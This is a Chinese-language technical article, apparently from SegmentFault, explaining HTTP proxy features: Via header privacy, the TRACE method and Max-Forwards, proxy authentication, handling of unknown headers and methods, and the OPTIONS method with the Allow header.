Via的隐私和安全问题：有时候，我们并不希望在Via字符串中使用确切的主机名。总地来说，除非显式地允许了这种行为，否则，当代理服务器作为网络防火墙的一部分使用时，是不应该转发防火墙后面那些主机的名字和端口号的，因为防火墙后面的网络结构信息可能会被恶意群体利用。如果不允许进行Via节点名转发，作为安全防线的一部分使用的代理就应该用适当的假名来取代那台主机的名字。一般来说，即使隐藏了真实名称，代理也应该尝试着为每台代理服务器保留一个Via路标条目。对那些有着非常强烈的隐私要求，需要隐藏内部网络设计和拓扑结构的组织来说，代理应该将一个(接收协议值相同的)有序Via路标条目序列合并成一个联合条目。除非这些条目都在同一个组织的控制之下，而且已经用假名取代了主机名，否则就不能将其合并起来。同样，接收协议值不同的条目也不能合并起来。
代理服务器可以在转发报文时对其进行修改。可以添加、修改或删除首部，也可以将主体部分转换成不同的格式。代理变得越来越复杂，开发代理产品的厂商也越来越多，互操作性问题也开始逐渐显现。为了便于对代理网络进行诊断，我们需要有一种便捷的方式来观察在通过HTTP代理网络逐跳转发报文的过程中，报文是怎样变化的。通过"HTTP/1.1"的TRACE方法，用户可以跟踪经代理链传输的请求报文，观察报文经过了哪些代理，以及每个代理是如何对请求报文进行修改的。TRACE对代理流的调试非常有用。当TRACE请求到达目的服务器时，整条请求报文都会被封装在一条HTTP响应的主体中回送给发送端。当TRACE响应到达时，客户端可以检查服务器收到的确切报文，以及它所经过的代理列表(在Via首部)。TRACE响应的Content-Type为message/http，状态为"200 OK"。&/p&&p&Max-Forwards：通常，不管中间插入了多少代理，TRACE报文都会沿着整条路径传到目的服务器上。可以使用Max-Forwards(最大转发次数)首部来限制TRACE和OPTIONS请求所经过的代理跳数，在测试代理链是否是在无限循环中转发报文，或者查看链中特定代理服务器的效果时，它是很有用的。Max-Forwards也可以限制OPTIONS报文的转发。Max-Forwards请求首部字段包含了一个整数，用来说明这条请求报文还可以被转发的次数。如果Max-Forwards的值为零(Max-Forwards:0)，那么即使接收者不是原始服务器，它也必须将TRACE报文回送给客户端，而不应该继续转发。如果收到的Max-Forwards值大于零，转发的报文中就必须包含一个更新了的Max-Forwards字段，其值会被减一。所有的代理和网关都应该支持Max-Forwards。可以用Max-Forwards来查看在代理链的任意一跳上接收到的请求。
代理可以作为访问控制设备使用。HTTP定义了一种名为代理认证(proxy authentication)的机制，这种机制可以阻止对内容的请求，直到用户向代理提供了有效的访问权限证书为止。若传输链路中有多个代理，且每个代理都要进行认证时，代理认证通常无法很好地工作。
对受限内容的请求到达一台代理服务器时，代理服务器可以返回一个要求使用访问证书的"407 Proxy Authorization Required"状态码，以及一个用于描述怎样提供这些证书的Proxy-Authenticate首部字段。
客户端收到407响应时，会尝试着从本地数据库中，或者通过提示用户来搜集所需要的证书。
只要获得了证书，客户端就会重新发送请求，在Proxy-Authorization首部字段中提供所要求的证书。
如果证书有效，代理就会将原始请求沿着传输链路向下传送；否则，就发送另一条407应答。
代理的互操作性
客户端、服务器和代理是由不同厂商构建的，实现的是不同版本的HTTP规范。它们支持的特性各不相同，也存在着不同的问题。代理服务器位于客户端和服务器设备之间，这些设备实现的协议可能有所不同，可能存在着很棘手的问题。
处理代理不支持的首部和方法
代理服务器可能无法理解所有经其传输的首部字段。有些首部可能比代理自身还要新；其他首部可能是特定应用程序独有的定制首部。代理必须对不认识的首部字段进行转发，而且必须维持同名首部字段的相对顺序。类似地，如果代理不熟悉某个方法，那么只要可能，就应该尝试着将报文转发到下一跳节点上去。
OPTIONS：发现对可选特性的支持
通过OPTIONS方法，客户端(或代理)可以发现Web服务器或者其上某个特定资源所支持的功能(比如，它们所支持的方法)。通过使用OPTIONS，客户端可以在与服务器进行交互之前，确定服务器的能力，这样它就可以更方便地与具备不同特性的代理和服务器进行互操作了。如果OPTIONS请求的URI是个"*"(星号)，请求的就是整个服务器所支持的功能。如果URI是个实际资源地址，OPTIONS请求就是在查询那个特定资源的可用特性。如果成功，OPTIONS方法就会返回一个包含了各种首部字段的"200 OK"响应，这些 字段描述了服务器所支持的，或资源可用的各种可选特性。"HTTP/1.1"在响应中唯一指定的首部字段是Allow首部，这个首部用于描述服务器所支持的各种方法(或者服务器上的特定资源)。OPTIONS允许在可选的响应主体中包含更多的信息，但并没有对这种用法进行定义。
Allow 首部
Allow实体首部字段列出了请求URI标识的资源所支持的方法列表，如果请求URI为"*"(星号)的话，列出的就是整个服务器所支持的方法列表。可以将Allow首部作为请求首部，建议在新的资源上支持某些方法。并不要求服务器支持这些方法，但应该在相应的响应中包含一个Allow首部，列出它实际支持的方法。因为客户端可能已经通过其他途径与原始服务器进行了交流，所以即使代理无法理解指定的所有方法，也不能对Allow首部字段进行修改。
0 收藏&&|&&0
分享到微博？
我要该，理由是：
在 SegmentFault，学习技能、解决问题
每个月，我们帮助 1000 万的开发者解决各种各样的技术问题。并助力他们在技术能力、职业生涯、影响力上获得提升。}